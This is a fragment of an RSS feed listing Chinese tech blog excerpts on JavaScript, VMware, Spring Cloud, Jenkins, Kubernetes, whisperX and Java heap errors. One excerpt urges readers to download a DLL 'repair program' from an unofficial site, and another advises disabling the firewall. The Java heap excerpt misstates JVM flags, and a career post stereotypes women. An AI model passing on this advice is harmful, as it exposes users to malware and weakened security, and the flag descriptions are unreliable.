org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:140) at org.</description>
    </item>
    <item>
      <title>SyntaxError: The requested module ‘xxx‘ does not provide an export named ‘default‘ （at xxx）</title>
      <link>https://bchobby.github.io/posts/b3c94587413610ef3ee2167d46b4ea65/</link>
      <pubDate>Sun, 18 Jun 2023 19:24:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b3c94587413610ef3ee2167d46b4ea65/</guid>
      <description>使用export default时，对应的import语句不需要使用大括号；&#xA;不使用export default时，对应的import语句需要使用大括号。&#xA;export default命令用于指定模块的默认输出。显然，一个模块只能有一个默认输出，因此export default命令只能使用一次。所以，import命令后面才不用加大括号，因为只可能唯一对应export default命令</description>
    </item>
    <item>
      <title>VM安装linux虚拟机宿主机连接不上虚拟机问题处理及静态ip设置</title>
      <link>https://bchobby.github.io/posts/afa6f745aeb5ebaf738d175edbe9437e/</link>
      <pubDate>Sun, 18 Jun 2023 17:15:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/afa6f745aeb5ebaf738d175edbe9437e/</guid>
      <description>VM安装linux虚拟机宿主机连接不上虚拟机问题处理&#xA;用 vm安装linux虚拟机宿主机连不上虚拟机，ipconfig宿主机发现VMnet1以及VMnet8的Ip都变成了169.254开头的地址，网上各种方式都试了都不行，要么 是 虚拟机连不上网，要么 是宿主机连 不上虚拟机，通过以下方式还原为默认设置后 重启虚拟机竟然可以了。&#xA;虚拟机静态IP网络配置&#xA;一、VMware及本地网络设置&#xA;首先，打开VMware主界面，点击上方工具栏 编辑-虚拟网络编辑器，查看当前VMnet信息&#xA;在这里可以看到有三种类型，分别是桥接模式，仅主机模式和NAT模式。和上面讲的一样：&#xA;桥接模式：在当前网络分配一个独立的IP给虚拟机，可与其他终端直接通信&#xA;仅主机模式：虚拟机仅可与主机通信&#xA;NAT模式：由VMware创建一个虚拟的NAT网关，虚拟机与外网通信时会将IP地址转换为主机IP，其 他终端无法直接与虚拟机通信&#xA;1、由于此处我们设置的是NAT的网络类型，所以我们选择VMnet8网卡，点击更改设置。&#xA;2、 进入更改界面后再次选择VMnet8网卡，去掉&#34;使用本地DHCP服务将IP地址分配给虚拟机&#34;前面的勾，这个是动态分配IP的，子网IP和子网掩码保持不变，点击NAT设置&#xA;3、在这里我们可以看到三个重要的网络信息，分别是子网IP，子网掩码和网关IP：&#xA;子网IP：标识NAT模式下的所有子网，该模式下的所有子网地址需在此网段下&#xA;子网掩码：划分网络号与主机号&#xA;网关：虚拟NAT设备地址&#xA;我们需要记住这些信息！！！不需要改变！！！&#xA;4、打开本地电脑的网络设置，选择VMnet8网卡，右键属性，配置IPV4的的属性&#xA;选择使用下面的IP地址，IP地址填写和第三步中的子网IP同一网关的任意IP即可，子网掩码和默认网关为第三步中的子网掩码和网关IP，再配置静态的DNS，国内公网的都行&#xA;2、centos7中的网络设置&#xA;#虚拟机网络配置文件&#xA;vi /etc/sysconfig/network-scripts/ifcfg-ens33&#xA;修改完成后重启虚拟机网络&#xA;systemctl restart network&#xA;1&#xA;尝试连接百度看是否能ping通&#xA;至此网络配置全部完成，最后别忘了关闭防火墙&#xA;systemctl stop firewalld&#xA;systemctl disable firewalld</description>
    </item>
    <item>
      <title>【黑马头条】解决P11@EnableDiscoveryClient注解无法导入爆红、bootstrap.yml配置文件图标无法显示成带云朵的小绿叶图标</title>
      <link>https://bchobby.github.io/posts/4b053ac86a52f560efaf45abff26304f/</link>
      <pubDate>Sun, 18 Jun 2023 17:06:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b053ac86a52f560efaf45abff26304f/</guid>
      <description>本期目录 1. 问题描述2. 问题原因3. 解决方法 1. 问题描述 如果按黑马老师给的 heima-leadnews-service 模块的 pom 文件所写的依赖，会发现有 2 个 Bug ：&#xA;首先，启动类 UserApplication 上的服务发现开关注解 @EnableDiscoveryClient 不存在。&#xA;第二，resource 目录下创建的 bootstrap.yml 配置文件的图标无法正确显示成小绿叶图标，只是显示普通的 YAML 文件。&#xA;2. 问题原因 heima-leadnews-service 模块缺少依赖 spring-cloud-context 导致 bootstrap.yml 配置文件的图标无法正确显示成小绿叶图标；缺少依赖 spring-cloud-commons 导致服务发现开关注解 @EnableDiscoveryClient 不存在。&#xA;3. 解决方法 在 heima-leadnews-service 模块的 pom 文件中添加 OpenFeign 的依赖。因为 OpenFeign 依赖自带了上述所提到的 Spring Cloud 的依赖，如下图所示：&#xA;&amp;lt;!-- Feign远程调用客户端 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-openfeign&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; heima-leadnews-service 模块完整的 pom 文件依赖如下：&#xA;&amp;lt;!-- 引入依赖模块 --&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;!-- 数据模型子模块 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.</description>
    </item>
    <item>
      <title>iOS 集成Jenkins pipeline 自动打包并上传蒲公英</title>
      <link>https://bchobby.github.io/posts/f91b0738b8b1be80d09e52112d565061/</link>
      <pubDate>Sun, 18 Jun 2023 15:36:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f91b0738b8b1be80d09e52112d565061/</guid>
      <description>文章目录 1 创建一个Jenkins pipeline 项目Pipeline script打包和上传蒲公英脚本 1 创建一个Jenkins pipeline 项目 上面那几个配置项其实不用关心的，我们这里先实现一个简单的能够打包的流程&#xA;这里只配置Pipeline script&#xA;Pipeline script 主要的流程都是有pipeline script 来完成的&#xA;pipeline { agent any environment { archivesh = &#34;./archive.sh&#34; } stages { stage(&#39;checkout&#39;) { steps { git branch: &#34;master&#34;, url: &#34;https://gitee.com/liuboliu/pengpailiubo.git&#34; } } stage(&#39;build&#39;) { steps { sh &#34;&#34;&#34; chmod -R +x ${archivesh} ${archivesh} &#34;&#34;&#34; } } } } 注意，上面pipeline 命令中的 archivesh 脚本文件是在工程的根目录下，如图&#xA;打包和上传蒲公英脚本 #!/bin/bash -l # 设置utf8编码 export LANG=en_US.UTF-8 APP_NAME=&#34;ThePaperBase&#34; #获取当前版本号 get_build_version=`xcodebuild -showBuildSettings -target ${APP_NAME} | grep CURRENT_PROJECT_VERSION | tr -d &#39;CURRENT_PROJECT_VERSION = &#39;` old_build_version=$get_build_version echo &#34;</description>
    </item>
    <item>
      <title>Shell 文件读取操作</title>
      <link>https://bchobby.github.io/posts/feea3b93df40f9a79f3cc057422af274/</link>
      <pubDate>Sat, 17 Jun 2023 23:15:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/feea3b93df40f9a79f3cc057422af274/</guid>
      <description>test.sh&#xA;version-list=[1.0,2.0,5.0] new-version=3.0 1、cat + grep&#xA;value=`cat test.sh | grep new-version` version=${value#*=} 2、按行读取&#xA;三种方式 #!/bin/bash while read line do echo $line done &amp;lt; filename(待读取的文件) #!/bin/bash cat filename(待读取的文件) | while read line do echo $line done for line in `cat filename(待读取的文件)` do echo $line done 参考文档：&#xA;1、https://www.cnblogs.com/lovemakee/p/10930371.html&#xA;2、https://www.jb51.net/article/56563.htm</description>
    </item>
    <item>
      <title>Mac下 对readonly类型文件或者目录操作方法</title>
      <link>https://bchobby.github.io/posts/376c9dbbc455c8bf19e7a989dc37e025/</link>
      <pubDate>Sat, 17 Jun 2023 23:09:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/376c9dbbc455c8bf19e7a989dc37e025/</guid>
      <description>mac 环境对readonly类型文件修改、目录下创建文件正常操作都会失败，如下:&#xA;vim /etc/hosts ## # Host Database # # localhost is used to configure the loopback interface # when the system is booting. Do not change this entry. ## 127.0.0.1 localhost 255.255.255.255 broadcasthost ::1 localhost # 100.81.197.201 hsp.aliyun-inc.com 11.164.61.51 hsp.aliyun-inc.com # Added by Docker Desktop # To allow the same kube context to work on the host and the container: 127.0.0.1 kubernetes.docker.internal # End of section ~ -- INSERT -- W10: Warning: Changing a readonly file # 使用 wq!</description>
    </item>
    <item>
      <title>K8S之 metrics-server 组件(十八）</title>
      <link>https://bchobby.github.io/posts/8aa0d0435aaedad1c3a717346e402e46/</link>
      <pubDate>Sat, 17 Jun 2023 22:34:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8aa0d0435aaedad1c3a717346e402e46/</guid>
      <description>首先下载：K8S之 metrics-server 组件 metrics-server 是一个集群范围内的资源数据集和工具，同样的，metrics-server 也只是显示数据，并不提供数据存储服务，主要关注的是资源度量 API 的实现，比如 CPU、文件描述符、内存、请求延时等指标，metric-server 收集数据给 k8s 集群内使用，如 kubectl,hpa,scheduler 等 。&#xA;1、部署 metrics-server 组件 #把离线镜像压缩包上传到 k8s 的各个节点，按如下方法手动解压： [root@master1 ~]# ctr images import aliyun-metrics-server-amd64-0-3-6.tar.gz [root@master1 ~]# ctr images import aliyun-addon.tar.gz [root@node1 ~]# ctr images import aliyun-metrics-server-amd64-0-3-6.tar.gz [root@node1 ~]# ctr images import aliyun-addon.tar.gz [root@node2 ~]# ctr images import aliyun-metrics-server-amd64-0-3-6.tar.gz [root@node2 ~]# ctr images import aliyun-addon.tar.gz #部署 metrics-server 服务 #在/etc/kubernetes/manifests 里面改一下 apiserver 的配置 注意：这个是 k8s 在 1.17 的新特性，如果是 1.</description>
    </item>
    <item>
      <title>msvcr110.dll丢失的解决方法-dll一键下载修复</title>
      <link>https://bchobby.github.io/posts/4870ba4ccf964a142509d99d1199c814/</link>
      <pubDate>Sat, 17 Jun 2023 21:24:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4870ba4ccf964a142509d99d1199c814/</guid>
      <description>我们在运行软件程序或者游戏的时候，如果程序提示“无法启动此程序，因为计算机中丢失msvcr110.dll。尝试重新安装该程序以解决此问题”，如果说明您电脑系统中缺少或者未注册msvcr110.dll这个运行库文件，那么我们要如何解决这个问题?下面分享一下无法启动此程序，因为计算机中丢失msvcr110.dll的解决方法。&#xA;计算机中丢失msvcr110.dll的解决方法介绍&#xA;下载电脑丢失的dll文件需要打开电脑浏览器在顶部网页输入【dll修复程序.site】进入点击安装下载文件压缩包（亲测有效，已经修复完成）&#xA;下载完成压缩包把压缩包解压，（解压完成右键打开文件）打开修复程序，然后点击下一步开始检测电脑计算机系统丢失的dll文件，检测过程需要几分钟，耐心等候安装修复安装完成，点击完成退出（dll文件是系统文件安装完成不会出现在电脑桌面）&#xA;修复安装完成，回到电脑桌面找到并且打开提示丢失dll文件的软件，就可以正常打开了。&#xA;很多小伙伴不知道什么是msvcr110dll,msvcr110dll是什么&#xA;“msvcr110.dll”是Windows操作系统中的一个动态链接库文件，它包含了许多常用的C运行库函数。在Windows系统中，如果用户需要运行一个编译好的程序，就需要先在系统中安装对应的运行库文件。&#xA;该文件是它是Microsoft公司专门为开发人员提供的软件开发工具。这个文件的作用是为编译好的程序提供必要的运行环境支持。&#xA;在使用Windows系统时，用户可能会遇到一些问题，比如出现“无法启动程序，缺少msvcr110.dll文件”等错误提示。这通常是因为用户的系统中缺少了这个文件，可以使用上面解决方法解决这个问题&#xA;总之，“msvcr110.dll”是一个非常重要的系统文件，它为开发人员提供了许多便利和支持，也为用户的系统正常运行提供了必要的安全保障。</description>
    </item>
    <item>
      <title>whisperX 语音识别本地部署</title>
      <link>https://bchobby.github.io/posts/a6130618b2d51dde572fa2868123e6be/</link>
      <pubDate>Sat, 17 Jun 2023 17:52:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a6130618b2d51dde572fa2868123e6be/</guid>
      <description>WhisperX 是一个优秀的开源Python语音识别库。&#xA;下面记录Windows10系统下部署Whisper&#xA;1、在操作系统中安装 Python环境&#xA;2、安装 CUDA环境&#xA;3、安装Annaconda或Minconda环境&#xA;4、下载安装ffmpeg&#xA;下载release-builds包，如下图所示&#xA;将下载的包解压到你想要的路径，然后配置系统环境：我的电脑-&amp;gt;高级系统设置-&amp;gt;环境变量-&amp;gt;Path&#xA;设置完成后打开cmd窗口输入&#xA;ffmpeg 5、conda环境安装指定位置的虚拟环境&#xA;conda create --prefix=D:\Projects\LiimouDemo\WhisperX\Code\whisperX\whisperXVenv python=3.10 6、激活虚拟环境&#xA;conda activate D:\Projects\LiimouDemo\WhisperX\Code\whisperX\whisperXVenv 7、安装WhisperX库&#xA;pip install git+https://github.com/m-bain/whisperx.git 8、更新WhisperX库&#xA;pip install git+https://github.com/m-bain/whisperx.git --upgrade 9、在Python中使用&#xA;import whisperx import time import zhconv device = &#34;cuda&#34; audio_file = &#34;data/test.mp3&#34; batch_size = 16 # reduce if low on GPU mem compute_type = &#34;float16&#34; # change to &#34;int8&#34; if low on GPU mem (may reduce accuracy) # compute_type = &#34;</description>
    </item>
    <item>
      <title>煮茶论互联网五大工种，究竟哪个更适合可爱的女孩子呢</title>
      <link>https://bchobby.github.io/posts/f33f836a6453278d3c956d90639e2b8b/</link>
      <pubDate>Sat, 17 Jun 2023 15:44:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f33f836a6453278d3c956d90639e2b8b/</guid>
      <description>临近毕业，马上要面临的毫无疑问就是实习、面试、工作等等等...在这之前啊，我们先慢下来一点，细细的聊一聊互联网，程序员！以后能做什么。当然对于大一新生，这篇文章也有非常大起到指引方向的作用。&#xA;闲话不多说~我们开始八&#xA;互联网五大工种🍉 首先，我们来聊聊或者说介绍一下我们的互联网五大工种八~&#xA;①开发🎈 简而言之：开发主要工作就是通过编写代码，开发出硬件/软件产品。&#xA;开发岗位指的是从事软件开发工作的职业。开发人员通常涉及到编写、测试和维护各种类型的软件、应用程序和系统。开发岗位通常被分为前端开发、后端开发和全栈开发三类。&#xA;前端开发人员负责创建和维护用户界面，他们使用HTML、CSS和JavaScript等技术来开发网站和应用程序的用户界面。&#xA;后端开发人员负责设计和开发应用程序的后端，包括数据库和服务器端逻辑。他们使用各种编程语言和框架，如Java、Python、PHP和Ruby等。他们还负责确保应用程序在服务器上运行稳定，并与前端界面进行交互。&#xA;全栈开发人员则拥有前端开发和后端开发的技能，能够同时处理网站或应用程序的前端和后端。&#xA;开发岗位需要具备扎实的编程技能、解决问题的能力和团队合作能力。开发人员还应该关注技术发展和新兴技术的使用，以不断提升自己的技能水平。&#xA;开发岗推荐指数：★★★☆☆，熬夜指数：★★★☆☆。&#xA;推荐理由：企业里还是可以随处可见女孩子的，但是开发岗对代码能力要求很高，需要极高的兴趣和大量的时间钻研才能够胜任，女孩子可能需要把大部分时间放到提高自己的技术方面，减少花费在其他方面时间，如：打扮、旅游等。&#xA;②运维🎈 简而言之：运维工作是保障公司软件运行的各个环境，确保生产环境的安全和稳定&#xA;运维（Operations and Maintenance，简称O&amp;amp;M）岗位是指负责维护和管理计算机系统、网络设备、服务器、数据库等信息技术基础设施的工作。运维工作内容包括系统监控、故障排除、安全管理、备份和恢复、性能优化、容量规划、版本控制、软硬件更新和升级等方面。运维人员需要具备扎实的计算机技术知识和实际操作经验，能够快速、准确地定位和解决各种技术问题，保障系统的稳定运行和高效性能。同时，运维人员还需要具备良好的沟通能力和团队合作精神，与其他部门的同事、供应商和客户保持良好的合作关系，共同推动业务发展和创造价值。&#xA;运维岗推荐指数：★★☆☆☆，熬夜指数：★★★★★。&#xA;推荐理由：1、运维岗一般需要7*24快速响应，尤其是一些单位基本上都有轮班，长期的话不合适女孩子，当然了，男孩子估计能多抗一段时间，得到提升以后一般无非是转岗提升或是转型到其他领域中去了。2、有的公司运维需要兼职部分网管职责，本身就是一个背锅的岗位加上还有其他的临时性工作，就应变突发情况来看别说女孩子，很多男孩子估计都够呛。3、其他不说，就仅仅工作强度来看，确实不适合长期做，尤其是女孩子。&#xA;③测试👑 简而言之：测试主要是测试产品功能，也包括测试代码；&#xA;测试岗位通常是软件开发团队中的一个关键职位。测试人员的主要职责是测试软件应用程序或系统，以确保它们符合用户需求和规范，并且没有系统漏洞或错误。这个职位需要有系统性的思考和逻辑分析能力，以及对软件开发和测试技术的深刻理解。&#xA;测试人员通常需要执行以下任务：&#xA;编写测试计划和测试用例，以确保软件应用程序或系统的功能和性能符合设计要求。&#xA;进行手动和自动化测试，以检查软件应用程序或系统的正确性、可靠性和稳定性。&#xA;记录和跟踪软件应用程序或系统的缺陷，并协助开发人员修复错误。&#xA;协助开发人员进行集成测试和系统测试，并提供测试结果和建议。&#xA;与其他团队成员（如开发人员、项目经理和用户代表）合作，确保软件应用程序或系统的质量和用户满意度。&#xA;测试人员需要具备以下技能和能力：&#xA;对软件开发和测试流程有深刻的了解和理解。&#xA;熟悉测试工具和技术，包括手动测试、自动化测试、性能测试和安全测试。&#xA;具备良好的沟通和协作能力，能够与开发人员、项目经理和用户代表进行有效的沟通和合作。&#xA;具备分析和解决问题的能力，能够快速识别和解决缺陷和错误。&#xA;具备对细节的关注和耐心，能够仔细检查和测试软件应用程序或系统的各个方面。&#xA;测试岗位推荐指数：★★★★★，熬夜指数：★☆☆☆☆。&#xA;推荐原因：这岗位我十分推荐，从薪资、难度和工作时间稳定性各方面综合来看这个岗位应该是最适合女孩子来做的了。1、国内软件测试起步比较晚，这导致了市场上有十分多空缺的岗位。2、软件测试的薪资在行业内也是很可观的，在北上广等一线城市，有两三年工作功能测试经验可以拿到10K左右的月薪，有两三年自动化经验可以拿到17K左右的月薪，如果在安全、性能、可靠性测试方面有足够的经验，30K以上的月薪不是梦想。3、软件测试的职业寿命长，软件测试没有年龄的限制,细心耐心就能胜任，软件测试看重的是经验的积累，反而&#34;越老越值钱&#34;，而且由于涉猎广泛，行业背景丰富的话，可以转行业专家或者产品专家等。&#xA;④编程老师🎈 编程老师一般分为两类：编程幼师和编程讲师。&#xA;（4.1）编程幼师🍉 （教学对象：就读幼儿园和小学的幼儿。）🌹 简而言之：编程幼师一般是指通过趣味编程教会幼儿编写程序，并传授幼儿编程技能。&#xA;编程幼师需要具备以下特点：&#xA;1.熟悉编程语言和技术，了解幼儿的认知和学习规律。&#xA;2.具备良好的沟通和教学技能，善于与幼儿沟通，引导幼儿学习编程知识。&#xA;3.具有创新精神和教育思维，能够根据幼儿的学习情况进行相应的调整和改进，提高幼儿的学习效果。&#xA;编程幼师的主要职责包括：&#xA;1.为幼儿设计并编写编程课程，并根据幼儿的学习情况进行调整和改进。&#xA;2.与幼儿进行沟通，引导他们学习编程知识。&#xA;3.记录幼儿的学习情况和进展，及时反馈给家长和园所管理者。&#xA;4.组织和参与编程教育相关的活动和竞赛，提高幼儿的编程技能和兴趣。&#xA;总之，编程幼师是一种既有编程技能，又有教育经验的人才，他们致力于通过编程教育，帮助幼儿开发创新思维，提高综合素质。&#xA;（4.2）编程讲师🍉 （ 教学对象：初高中的青少年。）🌹 简而言之：编程讲师是主要负责教授编程技术和知识，培养学生的编程思维和通过编程解决问题的能力。&#xA;编程讲师是一位专业的教育工作者，主要负责教授编程技术和知识，帮助学生掌握编程语言和工具的使用方法，培养学生的编程思维和解决问题的能力。他们通常拥有丰富的编程经验和教学经验，能够根据学生的不同需求设计个性化的教学方案，指导学生进行编程实践，提高学生的编程水平。编程讲师还需要不断学习和更新自己的知识，跟进行业发展，以便更好地指导学生。他们可以在学校、培训机构、在线教育平台等多个领域从事教学工作。&#xA;推荐指数：★★★★☆，熬夜指数：★☆☆☆☆。&#xA;推荐原因：工作轻松，每周双休，薪资可观，幼师(5k-7k), 讲师(7k-13k）。对编程要求较低。&#xA;⑤实施🎈 一言难尽的岗位，总之待遇也是很不错的，但是太累了，经常性的东跑西跑出差，而且可能经常熬夜，不适合美美的女孩子。&#xA;有效的结论🍉 以上工种，&#xA;按工资高低排序为：开发&amp;gt;测试=运维&amp;gt;=编程老师&amp;gt;实施👏&#xA;按辛苦程度排名：开发&amp;gt;测试=运维=实施&amp;gt;编程老师（各有各的辛苦）🎉&#xA;按编程技术难度排名：开发&amp;gt;运维≥ 测试&amp;gt;编程老师&amp;gt;实施🤳&#xA;所以综合来看，女孩子最合适的工种无非①测试岗位②编程老师。</description>
    </item>
    <item>
      <title>微服务中常见问题</title>
      <link>https://bchobby.github.io/posts/d03463840afd41bc4bd1f67ffafea1c9/</link>
      <pubDate>Sat, 17 Jun 2023 15:38:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d03463840afd41bc4bd1f67ffafea1c9/</guid>
      <description>Spring Cloud 组件 Spring Cloud五大组件有哪些？&#xA;Eureka：注册中心&#xA;Ribbon：负载均衡&#xA;Feign：远程调用&#xA;Hystrix：服务熔断&#xA;Zuul/Gateway：服务网关&#xA;随着SpringCloud Alibaba在国内兴起，我们项目中使用了阿里巴巴的组件&#xA;注册中心/配置中心 Nacos&#xA;负载均衡 Ribbon&#xA;服务调用 Feign&#xA;服务保护 Sentinel&#xA;服务网关 Gateway&#xA;注册中心Eurake和注册中心Nacos Eurake工作原理&#xA;首先Eurake中会对所有的服务进行注册，在Eurake中保存服务提供者的基本信息服务消费者在需要调用的时候就从Eurake中拉取服务，然后在服务的消费者内部使用负载均衡的方式选取对应的服务然后直接去请求对应的服务Eurake与服务提供者通过心跳的方式保持监测，Eurake会定期监测服务的心跳是否存在，默认是30秒一次。一旦一个服务没有心跳，那么在Eurake中会将这些服务剔除掉。 服务注册和服务发现是什么意思？Spring Cloud如何实现服务注册发现的？&#xA;我们当时采用的是Eurake作为注册中心，这个是Spring Cloud体系中的一个核心的组件服务注册：服务提供者需要把自己的信息注册在Eurake，由Eurake来保存这些信息，比如服务的名称，ip，端口等等。服务发现：消费者向Eurake拉取服务列表信息，如果服务提供者有集群，则消费者利用负载均衡的算法，选择一个进行调用服务监控：服务提供者每隔30秒向Eurake发生心跳，报告健康状态，如果Eurake服务90秒没收到心跳，从Eurake剔除当前服务。 Nacos工作原理&#xA;Nacos和Eurake的区别&#xA;Nacos和Eurake的共同点（注册中心） 都支持服务的注册和服务的拉取都支持服务提供者心跳的方式做健康检测 Nacos和Eurake的区别 Nacos支持服务端主动监测提供者的状态：临时实例采用心跳模式，非临时实例采用主动检测模式临时实例心跳不正常会被剔除，非临时实例则不会剔除Nacos支持服务列表变更的消息推送模式，服务列表更新更及时Nacos集群默认采用AP方式，当集群中存在非临时实例时，采用CP模式，Eurake采用AP模式 Nacos还支持配置中，Eurake则只是注册中心，也是选择使用Nacos的一个重要的原因 Ribbon负载均衡 负载均衡Ribbon，发起远程调用Feign就会使用RibbonRibbon的负载均衡策略有哪些？如果自定义负载均衡如何实现？&#xA;负载均衡流程&#xA;当一个服务需要调用另一个服务的时候，发起请求，进入Ribbon，Ribbon再去注册中心区获取调用服务列表，然后使用负载均衡的策略选取一个服务，然后调用对应的服务。 负载均衡的策略有哪些？&#xA;RoundRobinRule：简单轮询服务列表选择服务器WeightedResponseTimeRule：按照权重来选择服务器，响应时间越长，权重越小RandomRule：随机选择一个可用服务器RestAvailableRule：忽略哪些短路的服务器，并选择并发数较低的服务器RetryRule：重试机制的选择逻辑AvailabilityFilteringRule：可用性敏感策略，先过滤非健康的，再选择连接数较小的实例ZoneAvoidanceRule：以区域可用服务器为基础进行服务器的选择，使用Zone对服务器进行分类，这个Zone可以理解为一个机房，一个机架，而后再对Zone内的多个服务器做轮询。 如何自定义负载均衡策略？&#xA;可以自己创建Rule接口，然后通过配置类或者配置文件即可，通过自定义IRule可以实现修改负载均衡规则，有两种方式：&#xA;负载均衡如何实现的？&#xA;微服务中的负载均衡使用一个组件叫做Ribbon，比如，我们在使用Feign远程调用的过程，底层的负载均衡使用了Ribbon&#xA;Ribbon负载均衡的策略有哪些？&#xA;RoundRobbinRule：简单轮询服务器列表选择服务器WeightedResponseTimeRule：按照权重服务器，响应时间越长，权重越小RandomRule：随机选择一个可用的服务器ZoneAvoidanceRule：区域敏感策略，以区域可用的服务器为基础进行服务器的选择，使用Zone对服务进行分类，这个Zone可以理解为一个机房，一个机架等等，而后对Zone内的多个服务器做轮询（默认） Spring Cloud 服务雪崩 熔断降级 服务雪崩效应是一种因“服务提供者的不可用”（原因）导致“服务调用者不可用”（结果），并将不可用逐渐放大的现象。&#xA;通俗的来说就是在微服务中一个服务提供方挂了之后，那么服务的调用者就会请求就会一直等待响应，然后与此同时别的消费者也同样的来请求这个服务，会导致服务的上游直接全部挂掉进而去影响服务的上上游造成雪崩的问题。&#xA;服务降级&#xA;服务降级是服务自我保护的一种方式，或者保护下游服务器的一种方式，用于确保服务不能受请求突增影响变得不可用，确保服务不会崩溃。&#xA;降级的逻辑，当前如果服务正常，那么就走服务接口去请求数据，如果服务不同的话，直接去对服务进行降级，访问自顶替的接口，提示“获取数据失败”。&#xA;服务熔断&#xA;Hystrix熔断机制，用于监控微服务调用的情况，默认是关闭的，如果开启需要再引导类上添加注解：&#xA;@EnableCircuitBreaker如果检测到10秒内请求失败率超过50%，就会触发熔断机制，之后每隔5秒重新尝试请求微服务，如果微服务不能响应，继续走熔断机制，如果微服务可达，则关闭熔断机制，恢复正常请求。&#xA;什么是服务雪崩，怎么解决这个问题？&#xA;服务雪崩，一个服务失败，导致整条链路的服务都失败的情形服务降级：服务自我保护的一种方式，或者保护下游服务器的一种方式，用于确保服务不会受请求突增影响变得不可用，确保服务不会崩溃，一般实际开发中与Feign接口整合，编写降级逻辑。服务熔断：默认关闭，需要手动打开，如果监测到10秒之内请求失败率超过百分之50%，就触发熔断机制，之后间隔每5秒重新尝试请求微服务，如果微服务不能响应，继续走熔断机制，如果微服务可达关闭熔断机制，恢复正常请求。 服务降级是针对某一个接口，并不是某一个服务，而服务熔断针对的是整个服务。&#xA;Spring Cloud微服务监控 第一个问题：问题定位，当spring cloud中某一个微服务挂了之后，我们如何才能快速的定位到是哪一个微服务出现了问题？&#xA;第二个问题：性能分析，假如某一条请求响应的异常的慢，那么我们如何可以快速的定位到时那一条服务出现了问题呢？&#xA;第三个问题：服务的关系，如果微服务中的服务量过小的话我们可能可以快速的梳理清楚服务之间的关系，但是一旦服务量过大，几百上千个微服务那么关系式很难梳理的</description>
    </item>
    <item>
      <title>Java heap space 内存堆栈溢出 解决方法</title>
      <link>https://bchobby.github.io/posts/68837ddb1f62aab6e662c4aa97dd6949/</link>
      <pubDate>Sat, 17 Jun 2023 14:53:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/68837ddb1f62aab6e662c4aa97dd6949/</guid>
      <description>因为程序要从2个多G的文件中解码读取数据，读取近10W行记录处理，然后就出现 java.lang.OutOfMemoryError: Java heap space 这样的错误。&#xA;在网上一查可能是JAVA的堆栈设置太小的原因。&#xA;跟据网上的答案大致有这两种解决方法：&#xA;1、设置环境变量&#xA;set JAVA_OPTS= -Xms8192mm -Xmx10240m&#xA;可以根据自己机器的内存进行更改,但本人测试这种方法并没有解决问题。可能是还有哪里需要设置。&#xA;2、java -Xms8192m -Xmx10240m className&#xA;就是在执行JAVA类文件时加上这个参数，其中className是需要执行的确类名。（包括包名）&#xA;这个解决问题了。而且执行的速度比没有设置的时候快很多。&#xA;如果在测试的时候可以在iead启动类 设置Edit Configurations-&amp;gt; VM options ， 中输入 -Xms8192mm -Xmx10240m这个参数就可以了。&#xA;java.lang.OutOfMemoryError: Java heap space&#xA;=======================================================================&#xA;对于垃圾回收的原理不太了解，就在网上查了一下，发现了几篇不错的文章。&#xA;http://java.ccidnet.com/art/3539/20060314/476073_1.html&#xA;http://www.pconline.com.cn/pcedu/empolder/gj/java/0509/701281.html&#xA;还有:Java堆的管理—垃圾回收提到一下几点，很不错，或许可以作为写程序时候的准则：&#xA;（1）不要试图去假定垃圾收集发生的时间，这一切都是未知的。比如，方法中的一个临时对象在方法调用完毕后就变成了无用对象，这个时候它的内存就可以被释放。&#xA;（2）Java中提供了一些和垃圾收集打交道的类，而且提供了一种强行执行垃圾收集的方法--调用System.gc()，但这同样是个不确定的方法。Java 中并不保证每次调用该方法就一定能够启动垃圾收集，它只不过会向JVM发出这样一个申请，到底是否真正执行垃圾收集，一切都是个未知数。&#xA;（3）挑选适合自己的垃圾收集器。一般来说，如果系统没有特殊和苛刻的性能要求，可以采用JVM的缺省选项。否则可以考虑使用有针对性的垃圾收集器，比如增量收集器就比较适合实时性要求较高的系统之中。系统具有较高的配置，有比较多的闲置资源，可以考虑使用并行标记/清除收集器。&#xA;（4）关键的也是难把握的问题是内存泄漏。良好的编程习惯和严谨的编程态度永远是最重要的，不要让自己的一个小错误导致内存出现大漏洞。&#xA;（5）尽早释放无用对象的引用。&#xA;大多数程序员在使用临时变量的时候，都是让引用变量在退出活动域(scope)后，自动设置为null，暗示垃圾收集器来收集该对象，还必须注意该引用的对象是否被监听，如果有，则要去掉监听器，然后再赋空值。&#xA;就是说,对于频繁申请内存和释放内存的操作,还是自己控制一下比较好,但是System.gc()的方法不一定适用，最好使用finallize强制执行或者写自己的finallize方法。&#xA;扩展：&#xA;JVM堆的设置是指java程序运行过程中JVM可以调配使用的内存空间的设置。在JVM启动时，JVM堆会自动设置heap size值。通常情况下，初始空间（即-Xms）默认值是物理内存的1/64，最大空间是物理内存的1/4。可以利用JVM提供的-Xmn -Xms -Xmx等选项可进行设置。这里对各个参数的意义解释一下：&#xA;-Xms：初始值&#xA;-Xmx：最大值&#xA;-Xmn：最小值&#xA;Heap Size的设置不宜太小，也不宜太大。若设置太小程序的响应速度会变慢了，因为GC占用了更多的时间，而应用分配到的执行时间较少。太大也会造成空间的浪费，而且也会影响其他程序的正常运行。Heap Size 最大最好不要超过可用物理内存的80％。建议将-Xms和-Xmx选项设置为相同，而-Xmn为1/4的-Xmx值。&#xA;================================================&#xA;过多的知识点就不在此多哔哔了，以下有几条链接，兄弟们可以参考：&#xA;JAVA HEAP SPACE解决方法和JVM参数设置_临风赏月的博客-CSDN博客</description>
    </item>
    <item>
